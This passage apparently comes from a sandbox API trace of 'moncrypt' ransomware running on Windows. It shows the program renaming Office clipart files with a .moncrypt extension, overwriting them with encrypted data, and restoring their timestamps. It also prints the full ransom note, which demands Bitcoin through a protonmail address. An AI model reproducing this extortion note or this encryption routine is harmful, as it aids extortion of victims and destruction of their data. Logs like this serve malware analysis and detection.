CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.943] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.944] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\BD00141_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.944] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.944] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.944] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.944] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF", dwFileAttributes=0x20) returned 1 [0060.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.moncrypt")) returned 1 [0060.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.946] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.946] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x6906 [0060.946] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.946] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0060.956] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.956] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.957] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.957] GlobalUnlock (hMem=0x44000c) returned 0 [0060.957] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0060.957] GlobalLock (hMem=0x44000c) returned 0x55db88 [0060.957] GlobalHandle (pMem=0x55db88) returned 0x44000c [0060.957] GlobalUnlock (hMem=0x44000c) returned 0 [0060.957] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0060.957] GlobalLock (hMem=0x44000c) returned 0x55db88 [0060.957] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.957] GlobalUnlock (hMem=0x440004) returned 0 [0060.957] GlobalHandle (pMem=0x55db88) returned 0x44000c [0060.957] GlobalUnlock (hMem=0x44000c) returned 0 [0060.957] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.957] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.957] GlobalUnlock (hMem=0x44000c) returned 0 [0060.957] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0060.957] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.957] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.957] GlobalUnlock (hMem=0x44000c) returned 0 [0060.957] ReadFile (in: hFile=0x188, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0060.958] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.958] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0060.958] SetFilePointer (in: hFile=0x188, lDistanceToMove=26886, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x6906 [0060.958] WriteFile (in: hFile=0x188, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0060.958] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.958] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0061.031] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0061.031] CloseHandle (hObject=0x188) returned 1 [0061.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.033] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0061.033] CloseHandle (hObject=0x188) returned 1 [0061.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0061.033] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0061.033] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.034] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.034] GlobalUnlock (hMem=0x44000c) returned 0 [0061.034] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.034] GlobalLock (hMem=0x440004) returned 0x557b78 [0061.034] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.034] GlobalUnlock (hMem=0x44000c) returned 0 [0061.034] GlobalHandle (pMem=0x557b78) returned 0x440004 [0061.034] GlobalUnlock (hMem=0x440004) returned 0 [0061.034] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0061.034] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0061.034] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0061.034] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0061.034] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0061.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.034] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.035] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0061.035] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.035] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.035] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0061.035] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.035] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0061.035] CloseHandle (hObject=0x188) returned 1 [0061.035] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0061.035] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0061.035] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0061.035] GlobalLock (hMem=0x440004) returned 0x550170 [0061.035] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.035] GlobalUnlock (hMem=0x440004) returned 0 [0061.035] GlobalLock (hMem=0x440004) returned 0x550170 [0061.035] GlobalLock (hMem=0x44000c) returned 0x557b78 [0061.035] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.035] GlobalUnlock (hMem=0x440004) returned 0 [0061.035] GlobalHandle (pMem=0x557b78) returned 0x44000c [0061.035] GlobalUnlock (hMem=0x44000c) returned 0 [0061.036] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0061.036] CharLowerBuffW (in: lpsz="BD00146_.WMF", cchLength=0xc | out: lpsz="bd00146_.wmf") returned 0xc [0061.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.036] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0061.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF", lpUsedDefaultChar=0x0) returned 63 [0061.036] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0061.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\BD00146_.WMF", lpUsedDefaultChar=0x0) returned 4 [0061.037] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 0x54e240 [0061.037] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0061.037] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0061.037] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0061.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF", dwFileAttributes=0x20) returned 1 [0061.038] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0061.038] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.moncrypt")) returned 1 [0061.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.038] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0061.038] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x7114 [0061.039] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0061.039] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0061.412] GlobalLock (hMem=0x44000c) returned 0x557b78 [0061.412] GlobalLock (hMem=0x440004) returned 0x550170 [0061.413] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.413] GlobalUnlock (hMem=0x440004) returned 0 [0061.413] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0061.413] GlobalLock (hMem=0x440004) returned 0x55db88 [0061.413] GlobalHandle (pMem=0x55db88) returned 0x440004 [0061.413] GlobalUnlock (hMem=0x440004) returned 0 [0061.413] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0061.413] GlobalLock (hMem=0x440004) returned 0x55db88 [0061.413] GlobalHandle (pMem=0x557b78) returned 0x44000c [0061.413] GlobalUnlock (hMem=0x44000c) returned 0 [0061.413] GlobalHandle (pMem=0x55db88) returned 0x440004 [0061.413] GlobalUnlock (hMem=0x440004) returned 0 [0061.413] GlobalLock (hMem=0x440004) returned 0x550170 [0061.413] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.413] GlobalUnlock (hMem=0x440004) returned 0 [0061.413] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0061.413] GlobalLock (hMem=0x440004) returned 0x557b78 [0061.413] GlobalHandle (pMem=0x557b78) returned 0x440004 [0061.413] GlobalUnlock (hMem=0x440004) returned 0 [0061.413] ReadFile (in: hFile=0x188, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0061.413] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0061.413] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0061.414] SetFilePointer (in: hFile=0x188, lDistanceToMove=28948, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x7114 [0061.414] WriteFile (in: hFile=0x188, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0061.414] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, 